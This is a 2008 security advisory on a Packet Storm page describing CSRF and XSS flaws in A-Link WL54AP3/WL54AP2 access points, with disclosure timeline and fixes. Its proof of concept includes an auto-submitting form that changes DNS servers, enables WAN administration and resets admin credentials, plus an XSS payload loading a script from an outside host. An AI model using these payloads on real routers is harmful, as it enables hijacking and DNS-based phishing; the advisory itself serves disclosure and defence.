what you don't know can hurt you

alink-xsrfxss.xt

alink-xsrfxss.xt
Posted Oct 31, 2008
Authored by Jussi Vuokko, Henri Lindberg | Site louhi.fi

A-Link WL54AP3 and WL54AP2 suffers from cross site scripting and cross site request forgery vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | 7ff53c928fdabaec0c61f51282483ef5

alink-xsrfxss.xt

Change Mirror Download
           Louhi Networks Information Security Research
Security Advisory


Advisory: A-Link WL54AP3 and WL54AP2 CSRF+XSS vulnerability
Release Date: 2008/10/31
Last Modified: 2008/10/28
Authors: Jussi Vuokko, CISSP [jussi.vuokko@louhi.fi]
Henri Lindberg [henri.lindberg@louhi.fi]

Device: A-Link WL54AP3 and WL54AP2 (any firmware)
Severity: CSRF and XSS in management interface
Risk: Moderate
Vendor Status: Vendor has released an updated version
References: http://www.louhinetworks.fi/advisory/alink_081028.txt


Overview:

Quote from http://www.a-link.com/
"WLAN Access point 54MB, 4-port
Wlan Access point, wireless 54Mbps, DSSS, 802.11g-standard based and
it's compatible also with other manufacturers cards."

During an audit of A-Link WLAN54AP3 it was discovered that a cross
site request forgery vulnerability exists in the management
interface. It is possible for an attacker to perform any
administrative actions in the management interface, if victim
can be lured or forced to view malicious content. These administrative
actions include e.g. changing admin user's username and password,
DNS settings etc.

In addition, it was discovered that no input validation or output
encoding is performed in management interface, thus making it
vulnerable to cross-site scripting.

By default admin password is blank and no authentication is performed
for requests to administrative interface. As ordinary consumers usually
use out-of-the-box settings, this vulnerability offers same kind of
phishing possibilities as used in Banamex attacks[1].

A-Link WLAN54AP2 (EOL) is vulnerable to this threat as well.

[1] http://www.google.fi/search?q=banamex+phishing+dns+poison


Details:

A-Link WLAN54AP3 does not validate the origin of an HTTP request. If
attacker is able to make user view malicious content, the WLAN54AP3
device can be controlled by submitting suitable forms. Attacker is
effectively acting as an administrator.

Successful attack requires that the attacker knows the management
interface address for the target device (default IP address is
192.168.1.254). As the management interface does not have logout
functionality, user can be vulnerable to this attack even after
closing a tab containing the management interface (if user does not
close the browser window or clear cookies and depending on browser
behaviour) or if default blank password is used.


Proof of Concept:

CSRF:

Example form (changes DNS servers, enables WAN web server access
and changes user's username and password):

<html>
<body onload="document.wan.submit(); document.password.submit()">
<form action="http://192.168.1.254/goform/formWanTcpipSetup"
method="post" name="wan">
<input type="hidden" value="dnsManual" name="dnsMode" checked>
<input type="hidden" name="dns1" value="216.239.32.10">
<input type="hidden" name="dns2" value="216.239.32.10">
<input type="hidden" name="dns3" value="216.239.32.10">
<input type="hidden" name="webWanAccess" value="ON"
checked="checked">
</form>
<form action="http://192.168.1.254/goform/formPasswordSetup"
method="post" name="password">
<input type="hidden" name="username" value="mallory">
<input type="hidden" name="newpass" value="gotroot">
<input type="hidden" name="confpass" value="gotroot">
</form>
</body>
</html>

XSS:

Add following content to management interface's Management - DDNS -
Domain Name:

""><script src="http://l7.fi"></script><p


Workaround:

-


Solution:

Include a random user-specific token in forms. More information:
http://en.wikipedia.org/wiki/Cross-site_request_forgery

Perform an input validation and/or an output encoding. More information:
http://en.wikipedia.org/wiki/Cross_site_scripting

Use secure out-of-the-box configuration (for example generate
default passwords based on device serial or MAC address using
a secure cryptographic algorithm).


Disclosure Timeline:

13. September 2008 - Contacted A-Link by email
28. October 2008 - Vendor released an updated version
31. October 2008 - Advisory was released

Login or Register to add favorites

File Archive:

June 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    10 Files
  • 2
    Jun 2nd
    9 Files
  • 3
    Jun 3rd
    0 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    0 Files
  • 7
    Jun 7th
    0 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close